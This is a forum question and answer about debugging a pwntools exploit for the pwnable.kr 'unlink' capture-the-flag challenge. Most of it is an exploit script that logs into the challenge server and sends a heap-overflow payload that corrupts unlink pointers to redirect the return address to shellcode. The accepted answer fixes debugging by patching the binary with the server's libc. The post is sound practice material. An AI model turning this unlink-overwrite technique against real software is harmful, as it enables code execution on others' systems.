pythongdbpwntools

can't debug properly


In the last few days I tried to solve "unlink" challenge in pwnable.kr and I'm struggling to attach a debugger remotely and locally on the server using pwntools (code added below).

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('unlink_local')

host = args.HOST or 'pwnable.kr'
port = int(args.PORT or 2222)
user = args.USER or 'unlink'
password = args.PASSWORD or 'guest'
remote_path = '/home/unlink/unlink'

# Connect to the remote SSH server
shell = None
if not args.LOCAL:
    shell = ssh(user, host, port, password)
    shell.set_working_directory(symlink=True)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Execute the target binary on the remote host'''
    if args.GDB:
        return gdb.debug([remote_path] + argv, gdbscript=gdbscript, ssh=shell, *a, **kw)
    else:
        return shell.process([remote_path] + argv, *a, **kw)

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

r = start()

stack_leak = r.recvline(keepends=False)
stack_leak = int(stack_leak.decode("latin-1").split(": ")[1], 16)
heap_leak = r.recvline(keepends=False)
heap_leak = int(heap_leak.decode("latin-1").split(": ")[1], 16)
ret_addr_on_stack = stack_leak + 0x28  # 0x28 is the offset between the leak and the return address location on
# the stack (checked in gdb via running the program multiple times and checking the offset)
shellcode_location_on_heap = heap_leak + 0x50

"""
Payload layout (in this exact order)
"""
A_buf = b"A" * 8  # A's buf variable (in the struct 'tagOBJ' in the source) overflow

B_prev_size = b"B" * 4  # B's prev_size variable (in malloc internals) overflow
B_size = b"C" * 4  # B's size variable (in malloc internals) overflow
B_fd = p32(ret_addr_on_stack - 0x4)  # B's fd pointer (in the struct 'tagOBJ') overflow   
B_bk = p32(shellcode_location_on_heap)  # 0x080484eb  # B's bk pointer (in the struct 'tagOBJ') overflow      ----- shell() function address
B_buf = b"D" * 8  # B's buf variable (in the struct 'tagOBJ') overflow

C_prev_size = b"E" * 4  # B's prev_size variable (in malloc internals) overflow
C_size = b"F" * 4  # B's size variable (in malloc internals) overflow
C_fd = b"PPPP"  # C's fd pointer (in the struct 'tagOBJ') overflow      ----- empty (doesn't point anywhere)
C_bk = b"LLLL"  # C's bk pointer (in the struct 'tagOBJ') overflow      ----- RET ADDRESS LOCATION ON STACK

payload = A_buf + B_prev_size + B_size + B_fd + B_bk + B_buf + C_prev_size + C_size + C_fd + C_bk
with open("inp", "wb") as f:
    f.write(payload)

r.sendlineafter(b'now that you have leaks, get shell!\n', payload)
r.interactive()

When i attach gdb remotely using pwntools, I get the following error message from the server:

[DEBUG] Received 0x8f bytes:
    '/build/gdb-9un5Xp/gdb-7.11.1/gdb/gdbserver/regcache.c:264:\n'
    'A problem internal to GDBserver has been detected.\n'
    'Unknown register ymm0h requested\n'

In addition, when I attach gdb locally on the server using pwntools with tmux (because without tmux it can't find a terminal to open gdb in, I don't know why), I get this error:

Attaching to program: /home/unlink/unlink, process 50201
Could not attach to process.  If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user.  For more details, see /etc/sysctl.d/10-ptrace.conf
ptrace: Operation not permitted.
/tmp/tal/50201: No such file or directory.
Breakpoint 1 at 0x804851e
(gdb)

The same error happens when attaching to the process by its pid without pwntools (via gdb -p {pid}).

I will point out that I've tried to run the program on my pc (not on their server), and the heap layout was different (I think malloc aligned to 16 bytes instead of 4? not sure why its different to be honest), so running locally will not work.

Please note that I realise that this exploit doesn't work correctly, and my problem is that I don't know how to debug it properly, so please avoid giving corrections to the exploit itself.

Hints will be appreciated :)


Solution

  • So I've managed to attach a debugger to it on my system by downloading pwnable.kr's libc (found its path by ldd), then I ran pwninit to automatically download the correct linker for that specific libc version and finally patched the binary to the linker and the libc (which pwninit does for you).

    In conclusion, there will always be a way to debug (in this case attach a debugger) a binary.